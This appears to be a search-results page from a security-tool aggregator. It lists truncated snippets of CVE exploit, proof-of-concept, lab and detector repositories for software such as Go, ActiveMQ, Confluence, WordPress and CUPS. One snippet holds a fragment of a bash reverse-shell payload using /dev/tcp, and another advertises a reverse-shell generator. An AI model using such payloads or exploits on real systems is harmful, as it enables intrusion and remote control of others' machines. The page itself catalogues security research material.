1014881 matches found
CVE-2018-6574
CVE-2018-6574 Go before 1.8.7, Go 1.9.x before 1.9.4, and Go 1.10 pre-releases before Go 1.10rc2 allow go get remote command execution during source code build, by leveraging the gcc or clang plugin feature, because -fplugin= and -plugin= arguments were not blocked. from mitre RCE command The...
CVE-2026-61899
A flaw was found in Apache Tapestry tapestry-core. A remote attacker could exploit this vulnerability by manipulating URLs to download sensitive classpath assets. This could lead to unauthorized access to internal application resources. Mitigation Mitigation for this issue is either not available...
cve-2022-37298
CVE-2022-37298: RCE en Shinken Monitoring Versiones afectadas: 2.4.3 Enlace de divulgación: https://github.com/naparuba/shinken/commit/2dae40fd1e713aec9e1966a0ab7a580b9180cff2 Enlace CVE: https://vulners.com/cve/CVE-2022-37298 Descripción La clase SafeUnpickler ubicada en shinken/safepickle.py...
shlol
SHLOL Este es un menú que puedes activar con una combinación de teclas para hacer cosas básicas por ti Muy fácil de usar Crear listeners sobre la marcha No es necesario copiar y pegar Elige el tipo, IP y PUERTO y ¡listo! Ejecuta scripts remotos fácilmente Generador de Reverse Shell...
CVE-2016-3088
CVE-2016-3088 Apache ActiveMQ Remote Code Execution Exploit Description The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request. Author Alexandre Aguiar @cyberaguiar Exploit...
CVE-2022-43117
Descripción sugerida La aplicación de almacenamiento de contraseñas de Sourcecodester en PHP/OOP y MySQL 1.0 se descubrió que contenía múltiples vulnerabilidades de cross-site scripting XSS a través de los parámetros Name, Username, Description y Site Feature. Información adicional Prueba de...
CVE-2026-94127
CVE-2026-94127 — F5 BIG-IP APM Detection Tool Defensive Author: https://github.com/FurkanKAYAPINAR/ A defensive, non-exploit detector for CVE-2026-94127 , a heap-based buffer overflow CWE-122 in F5 BIG-IP APM that allows an unauthenticated remote attacker to achieve remote code execution RCE. CVS...
CVE-2019-0193-exp
CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...
CVE-2026-87902
CVE-2026-87902 - WordPress Core Unauthenticated LFI → RCE Validation Lab Security-research material for reproducing and validating CVE-2026-87902 GHSA-7hp8-65ch-5whp in an isolated, loopback-only Docker lab: an unauthenticated local file inclusion in WordPress core page-template resolution,...
CVE-2026-86218
CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit Overview This is a Python 3 proof-of-concept exploit for CVE-2026-86218, a critical pre-authentication remote code execution vulnerability in N-able N-central. Vulnerability Details: CVE: CVE-2026-86218 CVSS Score: 10.0 Critical CWE: CWE-96...
CVE-2022-29078
THM Challenge: SSTI RCE...
CVE-2021-26084
CVE-2021-26084 Introduction This write-up provides an overview of CVE-2021-26084 - Confluence Server Webwork OGNL injection 1 that would allow an authenticated user to execute arbitrary code on a Confluence Server or Data Center instance. TL;DR Confluence Server / Data Center makes use of Webwork...
CVE-2025-27480-The-Silent-Gateway-Risk
CVE-2025-27480-The-Silent-Gateway-Risk Letting attackers run malicious code without needing a cracked password, user interaction, or even a foothold in your network. That’s CVE-2025-27480 It’s late you are running on red-bull we have all been there. You’re troubleshooting a production issue and...
CVE-2025-50286
Grav CMS v1.7.48 / Admin Plugin v1.10.48 - Authenticated RCE via Plugin Upload CVE-2025-50286 Grav CMS v1.7.48 with Admin Plugin v1.10.48 is vulnerable to Remote Code Execution RCE via the "Direct Install" plugin upload feature, allowing authenticated administrators to execute arbitrary PHP code ...
CVE-2025-55182
React2Shell CVE-2025-55182 ⚠️ Warning: This project is for educational and security research purposes only. 1. clone the repository root@kitploit: git clone https://github.com/mivmi/CVE-2025-55182.git cd CVE-2025-55182 2. start the docker containers root@kitploit: docker-compose up -d 3. open in...
CVE-2025-4190
CVE-2025-4190 — WordPress CSV Mass Importer ≤ 1.2 Arbitrary File Upload -purple 📌 Description The CSV Mass Importer plugin ≤ 1.2 for WordPress contains an Admin+ Arbitrary File Upload vulnerability. Due to improper validation of uploaded files, high-privilege users such as admin can upload...
CVE-2021-26084_PoC
CVE-2021-26084PoC CVE-2021-26084 Confluence pre-auth RCE test script Usage: py...
CVE-2024-47176
CVE-2024-47176 — CUPS RCE Exploit Lab CyberSecurity & Virtualisation 2025-2026 Isolated lab environment to demonstrate CVE-2024-47176 CUPS Remote Code Execution via cups-browsed. Setup Required VDIs Ubuntu 22.04 NOT 24.04! — https://www.osboxes.org/ubuntu/ → VirtualBox VDI Kali Linux 2026.1 —...